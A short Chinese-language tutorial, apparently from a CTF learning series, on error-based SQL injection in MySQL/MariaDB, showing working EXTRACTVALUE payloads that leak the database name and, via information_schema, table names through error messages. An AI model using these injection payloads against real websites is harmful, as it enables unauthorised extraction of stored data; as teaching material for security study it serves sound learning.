在一些網頁程式出錯時,會直接將錯誤訊息顯示到前端,而部分錯誤訊息會夾帶導致錯誤的資料內容,報錯型 SQL 注入便是利用此特性將資料洩漏出來。
以下 SQL 函數可以構建出洩漏資料的錯誤訊息:
extractvalue
ExtractValue(xml_frag, xpath_expr)
updatexml
UpdateXML(xml_target, xpath_expr, new_xml)
參考資料:https://dev.mysql.com/doc/refman/5.6/en/xml-functions.html#function_extractvalue
EXTRACTVALUE(1, CONCAT(0x0a, database(), 0x0a));
EXTRACTVALUE
可以從 XML 字串提取指定路徑的資料,此處我們可以構建出不合語法的 XPATH 路徑,使得錯誤訊息回顯資料。本例中便洩漏出了當前資料庫名稱為 CTF
。搭配前天的 information_schema
,便可以在 MySQL / MariaDB 中洩漏任意資料,例如下列語法便可以洩漏出 Table 名稱。
<原 SQL 語法>
OR EXTRACTVALUE(
1,
CONCAT(
0x0a, (
SELECT GROUP_CONCAT(`TABLE_NAME`)
FROM `information_schema`.`tables`
WHERE `TABLE_SCHEMA` = 'CTF'
), 0x0a
)
)